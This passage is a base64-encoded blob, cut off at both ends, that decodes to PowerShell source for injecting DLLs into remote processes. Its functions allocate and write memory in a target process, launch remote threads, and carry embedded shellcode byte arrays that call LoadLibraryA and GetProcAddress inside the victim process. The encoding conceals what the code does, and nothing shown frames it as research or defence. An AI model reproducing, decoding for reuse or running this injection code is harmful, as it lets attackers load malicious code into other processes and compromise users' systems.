ICRTZWN0aW9uSGVhZGVyUHRyDQoJCX0NCgkJDQoJCWlmICgoJE50SGVhZGVyc0luZm8uSU1BR0VfTlRfSEVBREVSUy5GaWxlSGVhZGVyLkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfRklMRV9ETEwpIC1lcSAkV2luMzJDb25zdGFudHMuSU1BR0VfRklMRV9ETEwpDQoJCXsNCgkJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0RMTCcNCgkJfQ0KCQllbHNlaWYgKCgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLkZpbGVIZWFkZXIuQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0VYRUNVVEFCTEVfSU1BR0UpIC1lcSAkV2luMzJDb25zdGFudHMuSU1BR0VfRklMRV9FWEVDVVRBQkxFX0lNQUdFKQ0KCQl7DQoJCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgRmlsZVR5cGUgLVZhbHVlICdFWEUnDQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlUaHJvdyAiUEUgZmlsZSBpcyBub3QgYW4gRVhFIG9yIERMTCINCgkJfQ0KCQkNCgkJcmV0dXJuICRQRUluZm8NCgl9DQoJDQoJDQoJRnVuY3Rpb24gSW1wb3J0LURsbEluUmVtb3RlUHJvY2Vzcw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb249MCwgTWFuZGF0b3J5PSR0cnVlKV0NCgkJW0ludFB0cl0NCgkJJFJlbW90ZVByb2NIYW5kbGUsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTEsIE1hbmRhdG9yeT0kdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRJbXBvcnREbGxQYXRoUHRyDQoJCSkNCgkJDQoJCSRQdHJTaXplID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKQ0KCQkNCgkJJEltcG9ydERsbFBhdGggPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cmluZ0Fuc2koJEltcG9ydERsbFBhdGhQdHIpDQoJCSREbGxQYXRoU2l6ZSA9IFtVSW50UHRyXVtVSW50NjRdKFtVSW50NjRdJEltcG9ydERsbFBhdGguTGVuZ3RoICsgMSkNCgkJJFJJbXBvcnREbGxQYXRoUHRyID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvY0V4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgW0ludFB0cl06Olplcm8sICREbGxQYXRoU2l6ZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX1JFQURXUklURSkNCgkJaWYgKCRSSW1wb3J0RGxsUGF0aFB0ciAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsNCgkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5IGluIHRoZSByZW1vdGUgcHJvY2VzcyINCgkJfQ0KDQoJCVtVSW50UHRyXSROdW1CeXRlc1dyaXR0ZW4gPSBbVUludFB0cl06Olplcm8NCgkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJJbXBvcnREbGxQYXRoUHRyLCAkSW1wb3J0RGxsUGF0aFB0ciwgJERsbFBhdGhTaXplLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4pDQoJCQ0KCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkNCgkJew0KCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBETEwgcGF0aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiDQoJCX0NCgkJaWYgKCREbGxQYXRoU2l6ZSAtbmUgJE51bUJ5dGVzV3JpdHRlbikNCgkJew0KCQkJVGhyb3cgIkRpZG4ndCB3cml0ZSB0aGUgZXhwZWN0ZWQgYW1vdW50IG9mIGJ5dGVzIHdoZW4gd3JpdGluZyBhIERMTCBwYXRoIHRvIGxvYWQgdG8gdGhlIHJlbW90ZSBwcm9jZXNzIg0KCQl9DQoJCQ0KCQkkS2VybmVsMzJIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgia2VybmVsMzIuZGxsIikNCgkJJExvYWRMaWJyYXJ5QUFkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkxvYWRMaWJyYXJ5QSIpICNLZXJuZWwzMiBsb2FkZWQgdG8gdGhlIHNhbWUgYWRkcmVzcyBmb3IgYWxsIHByb2Nlc3Nlcw0KCQkNCgkJW0ludFB0cl0kRGxsQWRkcmVzcyA9IFtJbnRQdHJdOjpaZXJvDQoJCSNGb3IgNjRiaXQgRExMJ3MsIHdlIGNhbid0IHVzZSBqdXN0IENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxsIExvYWRMaWJyYXJ5IGJlY2F1c2UgR2V0RXhpdENvZGVUaHJlYWQgd2lsbCBvbmx5IGdpdmUgYmFjayBhIDMyYml0IHZhbHVlLCBidXQgd2UgbmVlZCBhIDY0Yml0IGFkZHJlc3MNCgkJIwlJbnN0ZWFkLCB3cml0ZSBzaGVsbGNvZGUgd2hpbGUgY2FsbHMgTG9hZExpYnJhcnkgYW5kIHdyaXRlcyB0aGUgcmVzdWx0IHRvIGEgbWVtb3J5IGFkZHJlc3Mgd2Ugc3BlY2lmeS4gVGhlbiByZWFkIGZyb20gdGhhdCBtZW1vcnkgb25jZSB0aGUgdGhyZWFkIGZpbmlzaGVzLg0KCQlpZiAoJFBFSW5mby5QRTY0Qml0IC1lcSAkdHJ1ZSkNCgkJew0KCQkJI0FsbG9jYXRlIG1lbW9yeSBmb3IgdGhlIGFkZHJlc3MgcmV0dXJuZWQgYnkgTG9hZExpYnJhcnlBDQoJCQkkTG9hZExpYnJhcnlBUmV0TWVtID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvY0V4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgW0ludFB0cl06Olplcm8sICREbGxQYXRoU2l6ZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX1JFQURXUklURSkNCgkJCWlmICgkTG9hZExpYnJhcnlBUmV0TWVtIC1lcSBbSW50UHRyXTo6WmVybykNCgkJCXsNCgkJCQlUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MgZm9yIHRoZSByZXR1cm4gdmFsdWUgb2YgTG9hZExpYnJhcnlBIg0KCQkJfQ0KCQkJDQoJCQkNCgkJCSNXcml0ZSBTaGVsbGNvZGUgdG8gdGhlIHJlbW90ZSBwcm9jZXNzIHdoaWNoIHdpbGwgY2FsbCBMb2FkTGlicmFyeUEgKFNoZWxsY29kZTogTG9hZExpYnJhcnlBLmFzbSkNCgkJCSRMb2FkTGlicmFyeVNDMSA9IEAoMHg1MywgMHg0OCwgMHg4OSwgMHhlMywgMHg0OCwgMHg4MywgMHhlYywgMHgyMCwgMHg2NiwgMHg4MywgMHhlNCwgMHhjMCwgMHg0OCwgMHhiOSkNCgkJCSRMb2FkTGlicmFyeVNDMiA9IEAoMHg0OCwgMHhiYSkNCgkJCSRMb2FkTGlicmFyeVNDMyA9IEAoMHhmZiwgMHhkMiwgMHg0OCwgMHhiYSkNCgkJCSRMb2FkTGlicmFyeVNDNCA9IEAoMHg0OCwgMHg4OSwgMHgwMiwgMHg0OCwgMHg4OSwgMHhkYywgMHg1YiwgMHhjMykNCgkJCQ0KCQkJJFNDTGVuZ3RoID0gJExvYWRMaWJyYXJ5U0MxLkxlbmd0aCArICRMb2FkTGlicmFyeVNDMi5MZW5ndGggKyAkTG9hZExpYnJhcnlTQzMuTGVuZ3RoICsgJExvYWRMaWJyYXJ5U0M0Lkxlbmd0aCArICgkUHRyU2l6ZSAqIDMpDQoJCQkkU0NQU01lbSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkU0NMZW5ndGgpDQoJCQkkU0NQU01lbU9yaWdpbmFsID0gJFNDUFNNZW0NCgkJCQ0KCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJExvYWRMaWJyYXJ5U0MxIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtDQoJCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkTG9hZExpYnJhcnlTQzEuTGVuZ3RoKQ0KCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJFJJbXBvcnREbGxQYXRoUHRyLCAkU0NQU01lbSwgJGZhbHNlKQ0KCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpDQoJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkTG9hZExpYnJhcnlTQzIgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0NCgkJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRMb2FkTGlicmFyeVNDMi5MZW5ndGgpDQoJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkTG9hZExpYnJhcnlBQWRkciwgJFNDUFNNZW0sICRmYWxzZSkNCgkJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQ0KCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJExvYWRMaWJyYXJ5U0MzIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtDQoJCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkTG9hZExpYnJhcnlTQzMuTGVuZ3RoKQ0KCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJExvYWRMaWJyYXJ5QVJldE1lbSwgJFNDUFNNZW0sICRmYWxzZSkNCgkJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQ0KCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJExvYWRMaWJyYXJ5U0M0IC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtDQoJCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkTG9hZExpYnJhcnlTQzQuTGVuZ3RoKQ0KDQoJCQkNCgkJCSRSU0NBZGRyID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvY0V4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgW0ludFB0cl06Olplcm8sIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCAkV2luMzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUpDQoJCQlpZiAoJFJTQ0FkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQkJew0KCQkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5IGluIHRoZSByZW1vdGUgcHJvY2VzcyBmb3Igc2hlbGxjb2RlIg0KCQkJfQ0KCQkJDQoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5Xcml0ZVByb2Nlc3NNZW1vcnkuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUlNDQWRkciwgJFNDUFNNZW1PcmlnaW5hbCwgW1VJbnRQdHJdW1VJbnQ2NF0kU0NMZW5ndGgsIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikNCgkJCWlmICgoJFN1Y2Nlc3MgLWVxICRmYWxzZSkgLW9yIChbVUludDY0XSROdW1CeXRlc1dyaXR0ZW4gLW5lIFtVSW50NjRdJFNDTGVuZ3RoKSkNCgkJCXsNCgkJCQlUaHJvdyAiVW5hYmxlIHRvIHdyaXRlIHNoZWxsY29kZSB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkuIg0KCQkJfQ0KCQkJDQoJCQkkUlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NIYW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkUlNDQWRkciAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zDQoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLldhaXRGb3JTaW5nbGVPYmplY3QuSW52b2tlKCRSVGhyZWFkSGFuZGxlLCAyMDAwMCkNCgkJCWlmICgkUmVzdWx0IC1uZSAwKQ0KCQkJew0KCQkJCVRocm93ICJDYWxsIHRvIENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxsIEdldFByb2NBZGRyZXNzIGZhaWxlZC4iDQoJCQl9DQoJCQkNCgkJCSNUaGUgc2hlbGxjb2RlIHdyaXRlcyB0aGUgRExMIGFkZHJlc3MgdG8gbWVtb3J5IGluIHRoZSByZW1vdGUgcHJvY2VzcyBhdCBhZGRyZXNzICRMb2FkTGlicmFyeUFSZXRNZW0sIHJlYWQgdGhpcyBtZW1vcnkNCgkJCVtJbnRQdHJdJFJldHVyblZhbE1lbSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkUHRyU2l6ZSkNCgkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuUmVhZFByb2Nlc3NNZW1vcnkuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkTG9hZExpYnJhcnlBUmV0TWVtLCAkUmV0dXJuVmFsTWVtLCBbVUludFB0cl1bVUludDY0XSRQdHJTaXplLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4pDQoJCQlpZiAoJFJlc3VsdCAtZXEgJGZhbHNlKQ0KCQkJew0KCQkJCVRocm93ICJDYWxsIHRvIFJlYWRQcm9jZXNzTWVtb3J5IGZhaWxlZCINCgkJCX0NCgkJCVtJbnRQdHJdJERsbEFkZHJlc3MgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkUmV0dXJuVmFsTWVtLCBbVHlwZV1bSW50UHRyXSkNCg0KCQkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxGcmVlRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkTG9hZExpYnJhcnlBUmV0TWVtLCBbVUludFB0cl1bVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkgfCBPdXQtTnVsbA0KCQkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxGcmVlRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUlNDQWRkciwgW1VJbnRQdHJdW1VJbnQ2NF0wLCAkV2luMzJDb25zdGFudHMuTUVNX1JFTEVBU0UpIHwgT3V0LU51bGwNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCVtJbnRQdHJdJFJUaHJlYWRIYW5kbGUgPSBJbnZva2UtQ3JlYXRlUmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1TdGFydEFkZHJlc3MgJExvYWRMaWJyYXJ5QUFkZHIgLUFyZ3VtZW50UHRyICRSSW1wb3J0RGxsUGF0aFB0ciAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zDQoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLldhaXRGb3JTaW5nbGVPYmplY3QuSW52b2tlKCRSVGhyZWFkSGFuZGxlLCAyMDAwMCkNCgkJCWlmICgkUmVzdWx0IC1uZSAwKQ0KCQkJew0KCQkJCVRocm93ICJDYWxsIHRvIENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxsIEdldFByb2NBZGRyZXNzIGZhaWxlZC4iDQoJCQl9DQoJCQkNCgkJCVtJbnQzMl0kRXhpdENvZGUgPSAwDQoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLkdldEV4aXRDb2RlVGhyZWFkLkludm9rZSgkUlRocmVhZEhhbmRsZSwgW1JlZl0kRXhpdENvZGUpDQoJCQlpZiAoKCRSZXN1bHQgLWVxIDApIC1vciAoJEV4aXRDb2RlIC1lcSAwKSkNCgkJCXsNCgkJCQlUaHJvdyAiQ2FsbCB0byBHZXRFeGl0Q29kZVRocmVhZCBmYWlsZWQiDQoJCQl9DQoJCQkNCgkJCVtJbnRQdHJdJERsbEFkZHJlc3MgPSBbSW50UHRyXSRFeGl0Q29kZQ0KCQl9DQoJCQ0KCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSSW1wb3J0RGxsUGF0aFB0ciwgW1VJbnRQdHJdW1VJbnQ2NF0wLCAkV2luMzJDb25zdGFudHMuTUVNX1JFTEVBU0UpIHwgT3V0LU51bGwNCgkJDQoJCXJldHVybiAkRGxsQWRkcmVzcw0KCX0NCgkNCgkNCglGdW5jdGlvbiBHZXQtUmVtb3RlUHJvY0FkZHJlc3MNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTAsIE1hbmRhdG9yeT0kdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRSZW1vdGVQcm9jSGFuZGxlLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbj0xLCBNYW5kYXRvcnk9JHRydWUpXQ0KCQlbSW50UHRyXQ0KCQkkUmVtb3RlRGxsSGFuZGxlLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbj0yLCBNYW5kYXRvcnk9JHRydWUpXQ0KCQlbU3RyaW5nXQ0KCQkkRnVuY3Rpb25OYW1lDQoJCSkNCg0KCQkkUHRyU2l6ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bSW50UHRyXSkNCgkJJEZ1bmN0aW9uTmFtZVB0ciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cmluZ1RvSEdsb2JhbEFuc2koJEZ1bmN0aW9uTmFtZSkNCgkJDQoJCSNXcml0ZSBGdW5jdGlvbk5hbWUgdG8gbWVtb3J5ICh3aWxsIGJlIHVzZWQgaW4gR2V0UHJvY0FkZHJlc3MpDQoJCSRGdW5jdGlvbk5hbWVTaXplID0gW1VJbnRQdHJdW1VJbnQ2NF0oW1VJbnQ2NF0kRnVuY3Rpb25OYW1lLkxlbmd0aCArIDEpDQoJCSRSRnVuY05hbWVQdHIgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJEZ1bmN0aW9uTmFtZVNpemUsICRXaW4zMkNvbnN0YW50cy5NRU1fQ09NTUlUIC1ib3IgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRVNFUlZFLCAkV2luMzJDb25zdGFudHMuUEFHRV9SRUFEV1JJVEUpDQoJCWlmICgkUkZ1bmNOYW1lUHRyIC1lcSBbSW50UHRyXTo6WmVybykNCgkJew0KCQkJVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1vcnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzIg0KCQl9DQoNCgkJW1VJbnRQdHJdJE51bUJ5dGVzV3JpdHRlbiA9IFtVSW50UHRyXTo6WmVybw0KCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5Xcml0ZVByb2Nlc3NNZW1vcnkuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUkZ1bmNOYW1lUHRyLCAkRnVuY3Rpb25OYW1lUHRyLCAkRnVuY3Rpb25OYW1lU2l6ZSwgW1JlZl0kTnVtQnl0ZXNXcml0dGVuKQ0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpGcmVlSEdsb2JhbCgkRnVuY3Rpb25OYW1lUHRyKQ0KCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkNCgkJew0KCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBETEwgcGF0aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiDQoJCX0NCgkJaWYgKCRGdW5jdGlvbk5hbWVTaXplIC1uZSAkTnVtQnl0ZXNXcml0dGVuKQ0KCQl7DQoJCQlUaHJvdyAiRGlkbid0IHdyaXRlIHRoZSBleHBlY3RlZCBhbW91bnQgb2YgYnl0ZXMgd2hlbiB3cml0aW5nIGEgRExMIHBhdGggdG8gbG9hZCB0byB0aGUgcmVtb3RlIHByb2Nlc3MiDQoJCX0NCgkJDQoJCSNHZXQgYWRkcmVzcyBvZiBHZXRQcm9jQWRkcmVzcw0KCQkkS2VybmVsMzJIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgia2VybmVsMzIuZGxsIikNCgkJJEdldFByb2NBZGRyZXNzQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5HZXRQcm9jQWRkcmVzcy5JbnZva2UoJEtlcm5lbDMySGFuZGxlLCAiR2V0UHJvY0FkZHJlc3MiKSAjS2VybmVsMzIgbG9hZGVkIHRvIHRoZSBzYW1lIGFkZHJlc3MgZm9yIGFsbCBwcm9jZXNzZXMNCg0KCQkNCgkJI0FsbG9jYXRlIG1lbW9yeSBmb3IgdGhlIGFkZHJlc3MgcmV0dXJuZWQgYnkgR2V0UHJvY0FkZHJlc3MNCgkJJEdldFByb2NBZGRyZXNzUmV0TWVtID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxBbGxvY0V4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgW0ludFB0cl06Olplcm8sIFtVSW50NjRdW1VJbnQ2NF0kUHRyU2l6ZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX1JFQURXUklURSkNCgkJaWYgKCRHZXRQcm9jQWRkcmVzc1JldE1lbSAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsNCgkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5IGluIHRoZSByZW1vdGUgcHJvY2VzcyBmb3IgdGhlIHJldHVybiB2YWx1ZSBvZiBHZXRQcm9jQWRkcmVzcyINCgkJfQ0KCQkNCgkJDQoJCSNXcml0ZSBTaGVsbGNvZGUgdG8gdGhlIHJlbW90ZSBwcm9jZXNzIHdoaWNoIHdpbGwgY2FsbCBHZXRQcm9jQWRkcmVzcw0KCQkjU2hlbGxjb2RlOiBHZXRQcm9jQWRkcmVzcy5hc20NCgkJI3RvZG86IG5lZWQgdG8gaGF2ZSBkZXRlY3Rpb24gZm9yIHdoZW4gdG8gZ2V0IGJ5IG9yZGluYWwNCgkJW0J5dGVbXV0kR2V0UHJvY0FkZHJlc3NTQyA9IEAoKQ0KCQlpZiAoJFBFSW5mby5QRTY0Qml0IC1lcSAkdHJ1ZSkNCgkJew0KCQkJJEdldFByb2NBZGRyZXNzU0MxID0gQCgweDUzLCAweDQ4LCAweDg5LCAweGUzLCAweDQ4LCAweDgzLCAweGVjLCAweDIwLCAweDY2LCAweDgzLCAweGU0LCAweGMwLCAweDQ4LCAweGI5KQ0KCQkJJEdldFByb2NBZGRyZXNzU0MyID0gQCgweDQ4LCAweGJhKQ0KCQkJJEdldFByb2NBZGRyZXNzU0MzID0gQCgweDQ4LCAweGI4KQ0KCQkJJEdldFByb2NBZGRyZXNzU0M0ID0gQCgweGZmLCAweGQwLCAweDQ4LCAweGI5KQ0KCQkJJEdldFByb2NBZGRyZXNzU0M1ID0gQCgweDQ4LCAweDg5LCAweDAxLCAweDQ4LCAweDg5LCAweGRjLCAweDViLCAweGMzKQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJEdldFByb2NBZGRyZXNzU0MxID0gQCgweDUzLCAweDg5LCAweGUzLCAweDgzLCAweGU0LCAweGMwLCAweGI4KQ0KCQkJJEdldFByb2NBZGRyZXNzU0MyID0gQCgweGI5KQ0KCQkJJEdldFByb2NBZGRyZXNzU0MzID0gQCgweDUxLCAweDUwLCAweGI4KQ0KCQkJJEdldFByb2NBZGRyZXNzU0M0ID0gQCgweGZmLCAweGQwLCAweGI5KQ0KCQkJJEdldFByb2NBZGRyZXNzU0M1ID0gQCgweDg5LCAweDAxLCAweDg5LCAweGRjLCAweDViLCAweGMzKQ0KCQl9DQoJCSRTQ0xlbmd0aCA9ICRHZXRQcm9jQWRkcmVzc1NDMS5MZW5ndGggKyAkR2V0UHJvY0FkZHJlc3NTQzIuTGVuZ3RoICsgJEdldFByb2NBZGRyZXNzU0MzLkxlbmd0aCArICRHZXRQcm9jQWRkcmVzc1NDNC5MZW5ndGggKyAkR2V0UHJvY0FkZHJlc3NTQzUuTGVuZ3RoICsgKCRQdHJTaXplICogNCkNCgkJJFNDUFNNZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9iYWwoJFNDTGVuZ3RoKQ0KCQkkU0NQU01lbU9yaWdpbmFsID0gJFNDUFNNZW0NCgkJDQoJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRHZXRQcm9jQWRkcmVzc1NDMSAtTWVtb3J5QWRkcmVzcyAkU0NQU01lbQ0KCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkR2V0UHJvY0FkZHJlc3NTQzEuTGVuZ3RoKQ0KCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkUmVtb3RlRGxsSGFuZGxlLCAkU0NQU01lbSwgJGZhbHNlKQ0KCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkNCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJEdldFByb2NBZGRyZXNzU0MyIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtDQoJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRHZXRQcm9jQWRkcmVzc1NDMi5MZW5ndGgpDQoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRSRnVuY05hbWVQdHIsICRTQ1BTTWVtLCAkZmFsc2UpDQoJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQ0KCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkR2V0UHJvY0FkZHJlc3NTQzMgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0NCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0MzLkxlbmd0aCkNCgkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJEdldFByb2NBZGRyZXNzQWRkciwgJFNDUFNNZW0sICRmYWxzZSkNCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpDQoJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRHZXRQcm9jQWRkcmVzc1NDNCAtTWVtb3J5QWRkcmVzcy